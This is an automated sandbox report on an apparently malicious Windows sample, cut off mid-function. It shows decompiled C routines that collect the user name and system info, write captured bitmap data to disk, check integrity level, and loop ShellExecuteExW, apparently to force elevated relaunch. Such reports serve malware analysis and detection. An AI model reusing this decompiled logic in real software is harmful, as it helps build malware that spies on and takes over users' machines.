                                                                                  0x00b6a610
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a616
                                                                                  0x00b6a617
                                                                                  0x00b6a61e
                                                                                  0x00b6a623
                                                                                  0x00b6a629
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a62f
                                                                                  0x00b6a630
                                                                                  0x00b6a637
                                                                                  0x00b6a63c
                                                                                  0x00b6a642
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a658
                                                                                  0x00b6a667
                                                                                  0x00b6a66e
                                                                                  0x00b6a672
                                                                                  0x00b6a67f
                                                                                  0x00b6a73f
                                                                                  0x00b6a73f
                                                                                  0x00b6a745
                                                                                  0x00b6a763
                                                                                  0x00b6a796
                                                                                  0x00b6a7cc
                                                                                  0x00b6a7d6
                                                                                  0x00b6a7e0
                                                                                  0x00b6a7ec
                                                                                  0x00b6a7ff
                                                                                  0x00b6a803
                                                                                  0x00b6a807
                                                                                  0x00b6a788
                                                                                  0x00b6a788
                                                                                  0x00000000
                                                                                  0x00b6a788
                                                                                  0x00b6a7ce
                                                                                  0x00000000
                                                                                  0x00b6a7ce
                                                                                  0x00b6a79a
                                                                                  0x00b6a7a1
                                                                                  0x00b6a7ab
                                                                                  0x00b6a7bd
                                                                                  0x00b6a7c1
                                                                                  0x00b6a7c5
                                                                                  0x00000000
                                                                                  0x00b6a79c
                                                                                  0x00b6a79c
                                                                                  0x00000000
                                                                                  0x00b6a79c
                                                                                  0x00b6a79a
                                                                                  0x00b6a767
                                                                                  0x00b6a76e
                                                                                  0x00b6a77e
                                                                                  0x00b6a781
                                                                                  0x00b6a785
                                                                                  0x00000000
                                                                                  0x00b6a769
                                                                                  0x00b6a769
                                                                                  0x00000000
                                                                                  0x00b6a769
                                                                                  0x00b6a747
                                                                                  0x00b6a749
                                                                                  0x00b6a74e
                                                                                  0x00b6a74e
                                                                                  0x00b6a751
                                                                                  0x00b6a752
                                                                                  0x00b6a752
                                                                                  0x00b6a755
                                                                                  0x00000000
                                                                                  0x00b6a755
                                                                                  0x00b6a745
                                                                                  0x00b6a68d
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a693
                                                                                  0x00b6a694
                                                                                  0x00b6a69a
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a6a0
                                                                                  0x00b6a6a1
                                                                                  0x00b6a6a7
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a6ad
                                                                                  0x00b6a6ae
                                                                                  0x00b6a6bd
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a6c3
                                                                                  0x00b6a6c4
                                                                                  0x00b6a6cb
                                                                                  0x00b6a6d0
                                                                                  0x00b6a6d6
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a6dc
                                                                                  0x00b6a6dd
                                                                                  0x00b6a6e4
                                                                                  0x00b6a6e9
                                                                                  0x00b6a6ef
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b6a6f5
                                                                                  0x00b6a6f6
                                                                                  0x00b6a6fd
                                                                                  0x00b6a702
                                                                                  0x00b6a708
                                                                                  0x00000000
                                                                                  0x00b6a70e
                                                                                  0x00b6a727
                                                                                  0x00b6a736
                                                                                  0x00b6a73d
                                                                                  0x00000000
                                                                                  0x00b6a73d
                                                                                  0x00b6a5ce
                                                                                  0x00b6a5ce
                                                                                  0x00000000
                                                                                  0x00b6a5ce
                                                                                  0x00b6a5cc
                                                                                  0x00b6a578
                                                                                  0x00b6a55c

                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID:
                                                                                  • String ID: -
                                                                                  • API String ID: 0-2547889144
                                                                                  • Opcode ID: f8e594bf383998afc29295b612a2bcc818f0f6059566cbb05fad910b37a4f6be
                                                                                  • Instruction ID: ff76c1506451c1bf3f037a0d387482d2cfc1ef252b9dae75c3a52ac1b343fa16
                                                                                  • Opcode Fuzzy Hash: f8e594bf383998afc29295b612a2bcc818f0f6059566cbb05fad910b37a4f6be
                                                                                  • Instruction Fuzzy Hash: E8829E71D006199FDF25CEA8C884BAEBFF5FF05310F24819AD465A7292D3389986CF52
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B6438B() {
                                                                                  				long _v8;
                                                                                  				WCHAR* _t3;
                                                                                  				int _t5;
                                                                                  				WCHAR* _t11;
                                                                                  
                                                                                  				_t3 = E00B63C1E(0x202);
                                                                                  				_t11 = _t3;
                                                                                  				if(_t11 != 0) {
                                                                                  					_v8 = 0x101;
                                                                                  					_t5 = GetUserNameW(_t11,  &_v8); // executed
                                                                                  					if(_t5 == 0) {
                                                                                  						E00B63C6B(_t11);
                                                                                  						_t11 = 0;
                                                                                  					}
                                                                                  					_t3 = _t11;
                                                                                  				}
                                                                                  				return _t3;
                                                                                  			}







                                                                                  0x00b64395
                                                                                  0x00b6439a
                                                                                  0x00b6439f
                                                                                  0x00b643a4
                                                                                  0x00b643ad
                                                                                  0x00b643b5
                                                                                  0x00b643b8
                                                                                  0x00b643be
                                                                                  0x00b643be
                                                                                  0x00b643c0
                                                                                  0x00b643c0
                                                                                  0x00b643c6

                                                                                  APIs
                                                                                    • Part of subcall function 00B63C1E: HeapCreate.KERNEL32(00000000,00100000,00000000,?,00B61AA2,?,?,00B61AD1), ref: 00B63C33
                                                                                    • Part of subcall function 00B63C1E: GetProcessHeap.KERNEL32(?,00B61AA2,?,?,00B61AD1), ref: 00B63C42
                                                                                  • GetUserNameW.ADVAPI32(00000000,00B618BC), ref: 00B643AD
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Heap$CreateNameProcessUser
                                                                                  • String ID:
                                                                                  • API String ID: 499767188-0
                                                                                  • Opcode ID: 396caa2ee2c1ea2af5c71444380dbd6c2583c70c8430ec7b6ffc90c83f5dde9f
                                                                                  • Instruction ID: 019dedee3dd71d9d0eb6f75464c619976af7a93c2e5e98b7a4a4e323be00e6e2
                                                                                  • Opcode Fuzzy Hash: 396caa2ee2c1ea2af5c71444380dbd6c2583c70c8430ec7b6ffc90c83f5dde9f
                                                                                  • Instruction Fuzzy Hash: E6E08632A0263967D620D6A59C0999FB6DCCB02F61B0012AAFC04E3241DB985E4001D9
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B64634() {
                                                                                  				struct _SYSTEM_INFO _v40;
                                                                                  
                                                                                  				GetSystemInfo( &_v40); // executed
                                                                                  				return _v40.dwNumberOfProcessors;
                                                                                  			}




                                                                                  0x00b6463e
                                                                                  0x00b6464a

                                                                                  APIs
                                                                                  • GetSystemInfo.KERNEL32(00B62C76,00B62C76,?,?,00B62BD7,?,00000000,00000000,00B62C76,00000000), ref: 00B6463E
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: InfoSystem
                                                                                  • String ID:
                                                                                  • API String ID: 31276548-0
                                                                                  • Opcode ID: 057bc471d368dfb99f908d3dbbc17b08c903c2a3d5151de3c536cddea86e95d8
                                                                                  • Instruction ID: e892a783ab2d62319972d1a2d3679cc8f758e5d41edd9cde7a1f6f55e7074df1
                                                                                  • Opcode Fuzzy Hash: 057bc471d368dfb99f908d3dbbc17b08c903c2a3d5151de3c536cddea86e95d8
                                                                                  • Instruction Fuzzy Hash: FAC04C7990420C97CA00EAE5A98A89AB7BCA708101B400595ED1993300EA21ED9486A1
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 31 b636f6-b63710 GetObjectW 32 b638a6-b638aa 31->32 33 b63716-b63728 31->33 34 b6372e-b63734 33->34 35 b6372a-b6372c 33->35 36 b63754-b63761 34->36 37 b63736-b6373c 34->37 35->36 39 b63762-b63794 LocalAlloc 36->39 37->36 38 b6373e-b63744 37->38 38->36 40 b63746-b63749 38->40 41 b63796-b6379a 39->41 42 b6379d-b637cd GlobalAlloc 39->42 45 b63751-b63753 40->45 46 b6374b-b6374f 40->46 41->42 43 b638a4-b638a5 42->43 44 b637d3-b637ea GetDIBits 42->44 43->32 44->43 47 b637f0-b6380d CreateFileW 44->47 45->36 46->39 47->43 48 b63813-b63857 WriteFile 47->48 49 b63876-b63877 48->49 50 b63859-b63874 WriteFile 48->50 52 b6388f-b63895 call b63db7 49->52 50->49 51 b63879-b6388d WriteFile 50->51 51->52 53 b63897-b6389e call b63db7 GlobalFree 51->53 52->43 53->43
                                                                                  C-Code - Quality: 77%
                                                                                  			E00B636F6(signed int __edx, void* _a4, struct HDC__* _a8, WCHAR* _a12) {
                                                                                  				long _v8;
                                                                                  				intOrPtr _v14;
                                                                                  				intOrPtr _v18;
                                                                                  				intOrPtr _v22;
                                                                                  				void _v24;
                                                                                  				signed int _v30;
                                                                                  				signed int _v32;
                                                                                  				signed short _v40;
                                                                                  				intOrPtr _v44;
                                                                                  				char _v48;
                                                                                  				int _t45;
                                                                                  				signed int _t48;
                                                                                  				void* _t57;
                                                                                  				long _t63;
                                                                                  				void* _t64;
                                                                                  				int _t74;
                                                                                  				int _t78;
                                                                                  				int _t80;
                                                                                  				int _t83;
                                                                                  				void* _t84;
                                                                                  				signed int _t96;
                                                                                  				void* _t104;
                                                                                  				int _t106;
                                                                                  				void* _t107;
                                                                                  
                                                                                  				_t96 = __edx;
                                                                                  				_push( &_v48);
                                                                                  				_t106 = 0x18;
                                                                                  				_t45 = GetObjectW(_a4, _t106, ??);
                                                                                  				if(_t45 != 0) {
                                                                                  					_t48 = _v30 * _v32 & 0x0000ffff;
                                                                                  					if(_t48 != 1) {
                                                                                  						_t83 = 4;
                                                                                  						if(_t48 <= _t83) {
                                                                                  							L9:
                                                                                  							_push(0x28 + (1 << _t83) * 4);
                                                                                  							L10:
                                                                                  							_t107 = LocalAlloc(0x40, ??);
                                                                                  							 *_t107 = 0x28;
                                                                                  							 *((intOrPtr*)(_t107 + 4)) = _v44;
                                                                                  							 *(_t107 + 8) = _v40;
                                                                                  							 *((short*)(_t107 + 0xc)) = _v32;
                                                                                  							 *((short*)(_t107 + 0xe)) = _v30;
                                                                                  							_t57 = 0x18;
                                                                                  							if(_t83 < _t57) {
                                                                                  								 *(_t107 + 0x20) = 1 << _t83;
                                                                                  							}
                                                                                  							asm("cdq");
                                                                                  							 *((intOrPtr*)(_t107 + 0x10)) = 0;
                                                                                  							 *((intOrPtr*)(_t107 + 0x24)) = 0;
                                                                                  							_t63 = ( *((intOrPtr*)(_t107 + 4)) + 7 + (_t96 & 0x00000007) >> 3) * (_t83 & 0x0000ffff) *  *(_t107 + 8);
                                                                                  							 *(_t107 + 0x14) = _t63;
                                                                                  							_t64 = GlobalAlloc(0, _t63); // executed
                                                                                  							_t84 = _t64;
                                                                                  							if(_t84 == 0) {
                                                                                  								L21:
                                                                                  								return _t64;
                                                                                  							} else {
                                                                                  								_t64 = GetDIBits(_a8, _a4, 0,  *(_t107 + 8) & 0x0000ffff, _t84, _t107, 0);
                                                                                  								if(_t64 == 0) {
                                                                                  									goto L21;
                                                                                  								}
                                                                                  								_t64 = CreateFileW(_a12, 0xc0000000, 0, 0, 2, 0x80, 0); // executed
                                                                                  								_t104 = _t64;
                                                                                  								if(_t104 == 0xffffffff) {
                                                                                  									goto L21;
                                                                                  								}
                                                                                  								_v24 = 0x4d42;
                                                                                  								_v22 =  *_t107 +  *(_t107 + 0x14) +  *(_t107 + 0x20) * 4 + 0xe;
                                                                                  								_v18 = 0;
                                                                                  								_v14 =  *_t107 +  *(_t107 + 0x20) * 4 + 0xe;
                                                                                  								_t74 = WriteFile(_t104,  &_v24, 0xe,  &_v8, 0); // executed
                                                                                  								if(_t74 == 0) {
                                                                                  									L17:
                                                                                  									_push(_t104);
                                                                                  									L19:
                                                                                  									_t64 = E00B63DB7();
                                                                                  									goto L21;
                                                                                  								}
                                                                                  								_t78 = WriteFile(_t104, _t107, 0x28 +  *(_t107 + 0x20) * 4,  &_v8, 0); // executed
                                                                                  								if(_t78 != 0) {
                                                                                  									_t80 = WriteFile(_t104, _t84,  *(_t107 + 0x14),  &_v8, 0); // executed
                                                                                  									_push(_t104);
                                                                                  									if(_t80 != 0) {
                                                                                  										E00B63DB7();
                                                                                  										_t64 = GlobalFree(_t84); // executed
                                                                                  										goto L21;
                                                                                  									}
                                                                                  									goto L19;
                                                                                  								}
                                                                                  								goto L17;
                                                                                  							}
                                                                                  						}
                                                                                  						_t83 = 8;
                                                                                  						if(_t48 <= _t83) {
                                                                                  							goto L9;
                                                                                  						}
                                                                                  						_t83 = 0x10;
                                                                                  						if(_t48 <= _t83) {
                                                                                  							goto L9;
                                                                                  						}
                                                                                  						if(_t48 > _t106) {
                                                                                  							_t83 = 0x20;
                                                                                  							goto L9;
                                                                                  						}
                                                                                  						_t83 = _t106;
                                                                                  						_push(0x28);
                                                                                  						goto L10;
                                                                                  					}
                                                                                  					_t83 = 1;
                                                                                  					goto L9;
                                                                                  				}
                                                                                  				return _t45;
                                                                                  			}



























                                                                                  0x00b636f6
                                                                                  0x00b63700
                                                                                  0x00b63703
                                                                                  0x00b63708
                                                                                  0x00b63710
                                                                                  0x00b63722
                                                                                  0x00b63728
                                                                                  0x00b63730
                                                                                  0x00b63734
                                                                                  0x00b63754
                                                                                  0x00b63761
                                                                                  0x00b63762
                                                                                  0x00b6376a
                                                                                  0x00b6376e
                                                                                  0x00b63777
                                                                                  0x00b6377d
                                                                                  0x00b63784
                                                                                  0x00b6378c
                                                                                  0x00b63790
                                                                                  0x00b63794
                                                                                  0x00b6379a
                                                                                  0x00b6379a
                                                                                  0x00b637a8
                                                                                  0x00b637ac
                                                                                  0x00b637b1
                                                                                  0x00b637ba
                                                                                  0x00b637c0
                                                                                  0x00b637c3
                                                                                  0x00b637c9
                                                                                  0x00b637cd
                                                                                  0x00b638a4
                                                                                  0x00000000
                                                                                  0x00b637d3
                                                                                  0x00b637e2
                                                                                  0x00b637ea
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b63802
                                                                                  0x00b63808
                                                                                  0x00b6380d
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b63818
                                                                                  0x00b6382e
                                                                                  0x00b63833
                                                                                  0x00b63841
                                                                                  0x00b6384f
                                                                                  0x00b63857
                                                                                  0x00b63876
                                                                                  0x00b63876
                                                                                  0x00b6388f
                                                                                  0x00b6388f
                                                                                  0x00000000
                                                                                  0x00b63894
                                                                                  0x00b6386c
                                                                                  0x00b63874
                                                                                  0x00b63884
                                                                                  0x00b6388a
                                                                                  0x00b6388d
                                                                                  0x00b63897
                                                                                  0x00b6389e
                                                                                  0x00000000
                                                                                  0x00b6389e
                                                                                  0x00000000
                                                                                  0x00b6388d
                                                                                  0x00000000
                                                                                  0x00b63874
                                                                                  0x00b637cd
                                                                                  0x00b63738
                                                                                  0x00b6373c
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b63740
                                                                                  0x00b63744
                                                                                  0x00000000
                                                                                  0x00000000
                                                                                  0x00b63749
                                                                                  0x00b63753
                                                                                  0x00000000
                                                                                  0x00b63753
                                                                                  0x00b6374b
                                                                                  0x00b6374d
                                                                                  0x00000000
                                                                                  0x00b6374d
                                                                                  0x00b6372a
                                                                                  0x00000000
                                                                                  0x00b6372a
                                                                                  0x00b638aa

                                                                                  APIs
                                                                                  • GetObjectW.GDI32(00000000,00000018,?,00000000,?,?,?,?,?,?,00B63B80,?,00000000,00000000), ref: 00B63708
                                                                                  • LocalAlloc.KERNEL32(00000040,00000001,00000000,00000000,?,?,?,?,?,?,00B63B80,?,00000000,00000000), ref: 00B63764
                                                                                  • GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,00B63B80,?,00000000,00000000), ref: 00B637C3
                                                                                  • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00B637E2
                                                                                  • CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,00B63B80,?,00000000), ref: 00B63802
                                                                                  • WriteFile.KERNEL32(00000000,00B63B80,0000000E,?,00000000,?,?,?,?,?,?,00B63B80,?,00000000,00000000), ref: 00B6384F
                                                                                  • WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,00B63B80,?,00000000,00000000), ref: 00B6386C
                                                                                  • WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,?,00B63B80,?,00000000,00000000), ref: 00B63884
                                                                                  • GlobalFree.KERNEL32(00000000), ref: 00B6389E
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: File$Write$AllocGlobal$BitsCreateFreeLocalObject
                                                                                  • String ID:
                                                                                  • API String ID: 351847640-0
                                                                                  • Opcode ID: b9a399322217e8e80d377fe39fd6447748c376fd384bba9ff390f0cafda65e87
                                                                                  • Instruction ID: cd447388ca0b1d42912d74dcb837024979067868c84c89ee73540bde71a2d61d
                                                                                  • Opcode Fuzzy Hash: b9a399322217e8e80d377fe39fd6447748c376fd384bba9ff390f0cafda65e87
                                                                                  • Instruction Fuzzy Hash: DB51B0B5600209ABD720DF65DC85FABBBF8EF88B10F00415EF595D7290EB749A45CB20
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  C-Code - Quality: 100%
                                                                                  			E00B64B7A(void* __ebx, void* __edi) {
                                                                                  				char _v8;
                                                                                  				short _v10;
                                                                                  				char _v20;
                                                                                  				struct _SHELLEXECUTEINFOW _v80;
                                                                                  				void* __esi;
                                                                                  				void* _t22;
                                                                                  				void* _t46;
                                                                                  				intOrPtr _t47;
                                                                                  
                                                                                  				_t46 = GetCurrentProcess();
                                                                                  				_t22 = E00B6464B();
                                                                                  				if(_t22 >= 0x600) {
                                                                                  					_t22 = E00B6401A(_t46); // executed
                                                                                  					if(_t22 == 3) {
                                                                                  						_t22 = E00B64122(_t46, _t46);
                                                                                  						if(_t22 < 0x3000) {
                                                                                  							E00B648EF();
                                                                                  							_t47 = E00B641F5(0,  &_v8);
                                                                                  							if(_t47 != 0) {
                                                                                  								_t45 = E00B6459C();
                                                                                  								E00B64E03(0xb7cc28, 0x8b, 7, 0xa,  &_v20);
                                                                                  								_v80.cbSize = 0x3c;
                                                                                  								_v80.fMask = 0;
                                                                                  								_v10 = 0;
                                                                                  								_v80.hwnd = GetForegroundWindow();
                                                                                  								_v80.lpVerb =  &_v20;
                                                                                  								_v80.lpFile = _t47;
                                                                                  								_v80.lpParameters = _t26;
                                                                                  								_v80.lpDirectory = 0;
                                                                                  								_v80.nShow = 1;
                                                                                  								_v80.hInstApp = 0;
                                                                                  								_v80.lpIDList = 0;
                                                                                  								_v80.lpClass = 0;
                                                                                  								_v80.hkeyClass = 0;
                                                                                  								_v80.dwHotKey = 0;
                                                                                  								_v80.hIcon = 0;
                                                                                  								_v80.hProcess = 0;
                                                                                  								do {
                                                                                  								} while (ShellExecuteExW( &_v80) == 0);
                                                                                  								E00B63C6B(_t47);
                                                                                  								_t22 = E00B63C6B(_t45);
                                                                                  								ExitProcess(0);
                                                                                  							}
                                                                                  							ExitProcess(0);
                                                                                  						}
                                                                                  					}
                                                                                  				}
                                                                                  				return _t22;
                                                                                  			}











                                                                                  0x00b64b87
                                                                                  0x00b64b89
                                                                                  0x00b64b96
                                                                                  0x00b64b9d
                                                                                  0x00b64ba6
                                                                                  0x00b64bad
                                                                                  0x00b64bb8
                                                                                  0x00b64bc0
                                                                                  0x00b64bd1
                                                                                  0x00b64bd7
                                                                                  0x00b64be5
                                                                                  0x00b64bf9
                                                                                  0x00b64c01
                                                                                  0x00b64c0a
                                                                                  0x00b64c0d
                                                                                  0x00b64c17
                                                                                  0x00b64c1d
                                                                                  0x00b64c20
                                                                                  0x00b64c23
                                                                                  0x00b64c26
                                                                                  0x00b64c29
                                                                                  0x00b64c30
                                                                                  0x00b64c33
                                                                                  0x00b64c36
                                                                                  0x00b64c39
                                                                                  0x00b64c3c
                                                                                  0x00b64c3f
                                                                                  0x00b64c42
                                                                                  0x00b64c45
                                                                                  0x00b64c4f
                                                                                  0x00b64c54
                                                                                  0x00b64c5a
                                                                                  0x00b64c62
                                                                                  0x00b64c62
                                                                                  0x00b64bda
                                                                                  0x00b64bda
                                                                                  0x00b64bb8
                                                                                  0x00b64ba6
                                                                                  0x00b64c6e

                                                                                  APIs
                                                                                  • GetCurrentProcess.KERNEL32 ref: 00B64B81
                                                                                    • Part of subcall function 00B6401A: OpenProcessToken.ADVAPI32(00000000,00000008,00000000,00B64BA2,00000000), ref: 00B6402D
                                                                                    • Part of subcall function 00B6401A: GetTokenInformation.KERNELBASE(?,00000012(TokenIntegrityLevel),00000000,00000004,?), ref: 00B64046
                                                                                    • Part of subcall function 00B64122: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00B64134
                                                                                    • Part of subcall function 00B64122: GetTokenInformation.KERNELBASE(?,00000019(TokenIntegrityLevel),?,0000004C,00000000), ref: 00B6414D
                                                                                    • Part of subcall function 00B64122: IsValidSid.ADVAPI32(?,00000000), ref: 00B6415C
                                                                                    • Part of subcall function 00B648EF: ReleaseMutex.KERNEL32(00B64BC5), ref: 00B648F5
                                                                                    • Part of subcall function 00B641F5: GetModuleFileNameW.KERNEL32(?,00000000,00000001,00000000,?,00000000,?,00B64BD1,00000000,?), ref: 00B64214
                                                                                  • ExitProcess.KERNEL32 ref: 00B64BDA
                                                                                  • GetForegroundWindow.USER32 ref: 00B64C11
                                                                                  • ShellExecuteExW.SHELL32(0000003C), ref: 00B64C49
                                                                                  • ExitProcess.KERNEL32 ref: 00B64C62
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.472679975.0000000000B61000.00000020.00020000.sdmp, Offset: 00B60000, based on PE: true
                                                                                  • Associated: 00000000.00000002.472634702.0000000000B60000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472776576.0000000000B6C000.00000002.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472901893.0000000000B7C000.00000004.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472929614.0000000000B7E000.00000008.00020000.sdmp Download File
                                                                                  • Associated: 00000000.00000002.472974211.0000000000B8B000.00000002.00020000.sdmp Download File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_b60000_NtJd0gjCZE.jbxd
                                                                                  Yara matches
                                                                                  Similarity
                                                                                  • API ID: Process$Token$ExitInformationOpen$CurrentExecuteFileForegroundModuleMutexNameReleaseShellValidWindow
                                                                                  • String ID: <
                                                                                  • API String ID: 491521492-4251816714
                                                                                  • Opcode ID: 4192229a3f0b0ad543b94820cd6496173c9e415b8aca8f8e4b5a40d65d7f6b86
                                                                                  • Instruction ID: 3edce0ae614d5448d02d977dc0b17a9dba02715b095beea1f6563a45536dabd6
                                                                                  • Opcode Fuzzy Hash: 4192229a3f0b0ad543b94820cd6496173c9e415b8aca8f8e4b5a40d65d7f6b86
                                                                                  • Instruction Fuzzy Hash: 57214FB1C016189BDB11AFA9D9856DEBEF8FF09711F10446EF405B3241DB394A418B55
                                                                                  Uniqueness

                                                                                  Uniqueness Score: -1.00%

                                                                                  Control-flow Graph

                                                                                  • Executed
                                                                                  • Not Executed
                                                                                  control_flow_graph 85 b628a9-b628b9 86 b628c5-b628d7 call b6616f 85->86 87 b628bb 85->87 92 b628fa-b628fe 86->92 88 b628c2 87->88 89 b628bd-b628c0 87->89 88->86 89->86 89->88 93 b62900-b62910 92->93 94 b628d9-b628e1 RtlGetLastWin32Error 92->94 97 b6294d-b62968 call b661ea 93->97 95 b62912-b62914 94->95 96 b628e3-b628f7 call b64954 call b6616f 94->96 100 b62973-b62979 95->100 96->92 103 b62916-b62926 RtlGetLastWin32Error 97->103 104 b6296a-b62970 call b62986 97->104 108 b6297a-b6297c call b66183 103->108 109 b62928-b6292b 103->109 114 b62972 104->114 115 b62981-b62984 108->115 109->97 110 b6292d-b62937 GetFileAttributesW 109->110 110->108 113 b62939-b6293b 110->113 113->97 116 b6293d-b6294b SetFileAttributesW 113->116 114->100 115->114 116->97 116->108
                                                                                  C-Code - Quality: 100%
                                                                                  			E00B628A9(void* __ecx, signed int __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
                                                                                  				signed int _v8;
                                                                                  				void* _t17;
                                                                                  				long _t18;
                                                                                  				void* _t19;
                                                                                  				void* _t22;
                                                                                  				long _t23;
                                                                                  				signed char _t25;
                                                                                  				int _t26;
                                                                                  				intOrPtr _t29;
                                                                                  				WCHAR* _t31;
                                                                                  				signed int _t39;
                                                                                  				void* _t44;
                                                                                  				void* _t46;
                                                                                  				intOrPtr _t47;
                                                                                  
                                                                                  				_t38 = __edx;
                                                                                  				_t47 = _a16;
                                                                                  				_t29 = 0x100000;
                                                                                  				if(_t47 <= 0 && (_t47 < 0 || _a12 < 0x100000)) {
                                                                                  					_t29 = _a12;
                                                                                  				}
                                                                                  				_t41 = _a4;
                                                                                  				_t5 = _t29 + 0x158; // 0x100158
                                                                                  				_t17 = E00B6616F(_a4, _t5); // executed
                                                                                  				while(1) {
                                                                                  					_t44 = _t17;
                                                                                  					if(_t44 != 0) {
                                                                                  						break;
                                                                                  					}
                                                                                  					_t18 = RtlGetLastWin32Error();
                                                                                  					__eflags = _t18 - 8;
                                                                                  					if(_t18 != 8) {
                                                                                  						_t19 = 0;
                                                                                  					} else {
                                                                                  						E00B64954(_t18, 0x64);
                                                                                  						_t6 = _t29 + 0x158; // 0x100158
                                                                                  						_t17 = E00B6616F(_t41, _t6);
                                                                                  						_t46 = _t46 + 0xc;
                                                                                  						continue;
                                                                                  					}
                                                                                  					L18:
                                                                                  					return _t19;
                                                                                  				}
                                                                                  				 *((intOrPtr*)(_t44 + 0x150)) = _t29;
                                                                                  				_t31 = _a8;
                                                                                  				_v8 = 1;
                                                                                  				while(1) {
                                                                                  					_t22 = E00B661EA(_t44, _t31, _a12, _a16, 0xc0000000, 0, 3); // executed
                                                                                  					_t46 = _t46 + 0x1c;
                                                                                  					_t50 = _t22;
                                                                                  					if(_t22 != 0) {
                                                                                  						break;
                                                                                  					}
                                                                                  					_t23 = RtlGetLastWin32Error();
                                                                                  					_t39 = _v8;
                                                                                  					_t38 = _t39 - 1;
                                                                                  					_v8 = _t39 - 1;
                                                                                  					__eflags = _t39;
                                                                                  					if(_t39 == 0) {
                                                                                  						L19:
                                                                                  						E00B66183(_t41, _t44); // executed
                                                                                  						_t19 = 0;
